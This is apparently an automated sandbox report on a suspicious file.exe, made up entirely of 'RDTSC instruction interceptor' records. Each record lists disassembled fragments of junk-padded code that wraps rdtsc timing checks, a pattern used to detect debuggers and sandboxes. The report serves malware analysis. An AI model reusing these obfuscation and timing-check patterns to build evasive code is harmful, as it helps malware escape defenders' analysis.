Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71FE2D second address: 71FE35 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7201FF second address: 72020C instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F3994CD1DB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72020C second address: 720211 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7205FC second address: 720604 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 720604 second address: 72060B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop esi 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 720733 second address: 72073E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F3994CD1DB6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7208C2 second address: 7208FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 jmp 00007F3994C2A2E3h 0x0000000e jne 00007F3994C2A2E9h 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 pushad 0x00000019 popad 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7208FF second address: 720920 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jnp 00007F3994CD1DCAh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 720F5A second address: 720F73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3994C2A2E5h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 720F73 second address: 720F77 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 714954 second address: 71497A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jl 00007F3994C2A2D6h 0x0000000c jmp 00007F3994C2A2E5h 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71497A second address: 71498C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3994CD1DBEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 721646 second address: 72164A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72164A second address: 721650 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 721650 second address: 72166A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F3994C2A2DDh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72166A second address: 72169C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F3994CD1DC5h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push esi 0x0000000c push eax 0x0000000d pop eax 0x0000000e pop esi 0x0000000f pushad 0x00000010 jmp 00007F3994CD1DC0h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 721A99 second address: 721A9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7244C1 second address: 7244C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7245CD second address: 724602 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F3994C2A2DCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c jmp 00007F3994C2A2DCh 0x00000011 jg 00007F3994C2A2DCh 0x00000017 popad 0x00000018 mov eax, dword ptr [esp+04h] 0x0000001c pushad 0x0000001d pushad 0x0000001e pushad 0x0000001f popad 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 724602 second address: 72460C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72B9A4 second address: 72B9A8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72B9A8 second address: 72B9C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F3994CD1DC4h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72B9C6 second address: 72B9D0 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F3994C2A2D6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72BB42 second address: 72BB6F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F3994CD1DBFh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007F3994CD1DC2h 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72BCE4 second address: 72BCEC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72BCEC second address: 72BCFB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3994CD1DBBh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72BCFB second address: 72BD07 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72BD07 second address: 72BD4A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push ebx 0x0000000b jmp 00007F3994CD1DC8h 0x00000010 jmp 00007F3994CD1DC9h 0x00000015 pop ebx 0x00000016 push eax 0x00000017 push edx 0x00000018 push edx 0x00000019 pop edx 0x0000001a pushad 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72BD4A second address: 72BD56 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F3994C2A2D6h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72C319 second address: 72C31D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72C31D second address: 72C336 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3994C2A2E0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72E130 second address: 72E19B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 push eax 0x00000007 jmp 00007F3994CD1DC0h 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 jmp 00007F3994CD1DBFh 0x00000015 mov eax, dword ptr [eax] 0x00000017 jmp 00007F3994CD1DC6h 0x0000001c mov dword ptr [esp+04h], eax 0x00000020 jmp 00007F3994CD1DBAh 0x00000025 pop eax 0x00000026 movzx esi, si 0x00000029 call 00007F3994CD1DB9h 0x0000002e push eax 0x0000002f push edx 0x00000030 jmp 00007F3994CD1DBCh 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72E19B second address: 72E1BA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3994C2A2E6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72E1BA second address: 72E203 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jnp 00007F3994CD1DCBh 0x0000000b jmp 00007F3994CD1DC5h 0x00000010 popad 0x00000011 mov eax, dword ptr [esp+04h] 0x00000015 jnp 00007F3994CD1DBEh 0x0000001b jnp 00007F3994CD1DB8h 0x00000021 push ebx 0x00000022 pop ebx 0x00000023 mov eax, dword ptr [eax] 0x00000025 pushad 0x00000026 jmp 00007F3994CD1DC0h 0x0000002b pushad 0x0000002c push eax 0x0000002d push edx 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72E203 second address: 72E215 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 popad 0x00000008 mov dword ptr [esp+04h], eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72E215 second address: 72E219 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72E219 second address: 72E223 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F3994C2A2D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72E4FE second address: 72E502 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72E821 second address: 72E828 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72E828 second address: 72E837 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 push ecx 0x00000006 pop ecx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72EDCA second address: 72EE0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jmp 00007F3994C2A2DDh 0x0000000a popad 0x0000000b mov dword ptr [esp], ebx 0x0000000e push 00000000h 0x00000010 push edx 0x00000011 call 00007F3994C2A2D8h 0x00000016 pop edx 0x00000017 mov dword ptr [esp+04h], edx 0x0000001b add dword ptr [esp+04h], 00000018h 0x00000023 inc edx 0x00000024 push edx 0x00000025 ret 0x00000026 pop edx 0x00000027 ret 0x00000028 add si, EBE2h 0x0000002d nop 0x0000002e pushad 0x0000002f push eax 0x00000030 push edx 0x00000031 push ebx 0x00000032 pop ebx 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72EF3F second address: 72EF6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push esi 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop esi 0x0000000b popad 0x0000000c push eax 0x0000000d pushad 0x0000000e jc 00007F3994CD1DB8h 0x00000014 pushad 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F3994CD1DC7h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72EF6E second address: 72EF72 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7301F7 second address: 7301FD instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7301FD second address: 7302AC instructions: 0x00000000 rdtsc 0x00000002 jno 00007F3994C2A2E5h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push ebx 0x0000000c pushad 0x0000000d jmp 00007F3994C2A2E3h 0x00000012 jmp 00007F3994C2A2E9h 0x00000017 popad 0x00000018 pop ebx 0x00000019 nop 0x0000001a push 00000000h 0x0000001c push edi 0x0000001d call 00007F3994C2A2D8h 0x00000022 pop edi 0x00000023 mov dword ptr [esp+04h], edi 0x00000027 add dword ptr [esp+04h], 0000001Dh 0x0000002f inc edi 0x00000030 push edi 0x00000031 ret 0x00000032 pop edi 0x00000033 ret 0x00000034 mov edi, 01267203h 0x00000039 push 00000000h 0x0000003b jo 00007F3994C2A2EFh 0x00000041 jmp 00007F3994C2A2E9h 0x00000046 push 00000000h 0x00000048 mov dword ptr [ebp+122D3A21h], edx 0x0000004e xchg eax, ebx 0x0000004f jnl 00007F3994C2A2DAh 0x00000055 push eax 0x00000056 pushad 0x00000057 push eax 0x00000058 push edx 0x00000059 push ecx 0x0000005a pop ecx 0x0000005b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 730A61 second address: 730A7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3994CD1DC7h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 731B24 second address: 731B42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3994C2A2E9h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 731DA0 second address: 731DA4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 731B42 second address: 731B65 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007F3994C2A2E8h 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73334D second address: 733353 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 733353 second address: 7333E7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 pop eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 push 00000000h 0x0000000b push ebp 0x0000000c call 00007F3994C2A2D8h 0x00000011 pop ebp 0x00000012 mov dword ptr [esp+04h], ebp 0x00000016 add dword ptr [esp+04h], 0000001Ch 0x0000001e inc ebp 0x0000001f push ebp 0x00000020 ret 0x00000021 pop ebp 0x00000022 ret 0x00000023 jmp 00007F3994C2A2E9h 0x00000028 mov si, 6761h 0x0000002c push 00000000h 0x0000002e push 00000000h 0x00000030 push eax 0x00000031 call 00007F3994C2A2D8h 0x00000036 pop eax 0x00000037 mov dword ptr [esp+04h], eax 0x0000003b add dword ptr [esp+04h], 00000017h 0x00000043 inc eax 0x00000044 push eax 0x00000045 ret 0x00000046 pop eax 0x00000047 ret 0x00000048 mov dword ptr [ebp+122D3A53h], ecx 0x0000004e push 00000000h 0x00000050 mov di, cx 0x00000053 xchg eax, ebx 0x00000054 jmp 00007F3994C2A2E2h 0x00000059 push eax 0x0000005a push eax 0x0000005b push edx 0x0000005c push eax 0x0000005d push edx 0x0000005e jo 00007F3994C2A2D6h 0x00000064 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7333E7 second address: 7333ED instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 733BDE second address: 733BE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7348C8 second address: 7348CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73463E second address: 734664 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3994C2A2E8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d jc 00007F3994C2A2D6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7348CC second address: 73493C instructions: 0x00000000 rdtsc 0x00000002 jno 00007F3994CD1DCAh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d sub dword ptr [ebp+122D2A65h], esi 0x00000013 push 00000000h 0x00000015 or si, 4EC7h 0x0000001a push 00000000h 0x0000001c push 00000000h 0x0000001e push eax 0x0000001f call 00007F3994CD1DB8h 0x00000024 pop eax 0x00000025 mov dword ptr [esp+04h], eax 0x00000029 add dword ptr [esp+04h], 00000015h 0x00000031 inc eax 0x00000032 push eax 0x00000033 ret 0x00000034 pop eax 0x00000035 ret 0x00000036 movzx esi, dx 0x00000039 xchg eax, ebx 0x0000003a jno 00007F3994CD1DC8h 0x00000040 push eax 0x00000041 push eax 0x00000042 push edx 0x00000043 push ecx 0x00000044 pushad 0x00000045 popad 0x00000046 pop ecx 0x00000047 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7351F1 second address: 735211 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007F3994C2A2E5h 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73A3EE second address: 73A3F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F3994CD1DB6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73A3F9 second address: 73A40D instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c jnc 00007F3994C2A2D6h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73A40D second address: 73A412 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73B4D6 second address: 73B4F8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F3994C2A2E7h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73B4F8 second address: 73B4FC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73A69F second address: 73A6A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73B634 second address: 73B638 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73B638 second address: 73B63E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73D38F second address: 73D3A0 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 pushad 0x00000009 jno 00007F3994CD1DB6h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73D3A0 second address: 73D3AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jbe 00007F3994C2A2DCh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73D5CF second address: 73D5D5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73D5D5 second address: 73D5DA instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73E742 second address: 73E749 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73E749 second address: 73E753 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007F3994C2A2D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7402E4 second address: 7402EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push eax 0x00000006 push edx 0x00000007 push ebx 0x00000008 pushad 0x00000009 popad 0x0000000a pop ebx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73E753 second address: 73E757 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7402EF second address: 7402F5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73E757 second address: 73E765 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73E765 second address: 73E76E instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7423AE second address: 7423D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push esi 0x00000007 pop esi 0x00000008 popad 0x00000009 push ecx 0x0000000a jmp 00007F3994C2A2DBh 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 pop ecx 0x00000012 pop edx 0x00000013 push edx 0x00000014 push edx 0x00000015 push ebx 0x00000016 pop ebx 0x00000017 pop edx 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7404B8 second address: 7404BE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7404BE second address: 7404C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7404C2 second address: 7404D0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7429C8 second address: 7429CE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7404D0 second address: 7404DE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jg 00007F3994CD1DB6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7429CE second address: 7429DC instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7404DE second address: 7404E2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7405BF second address: 7405C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
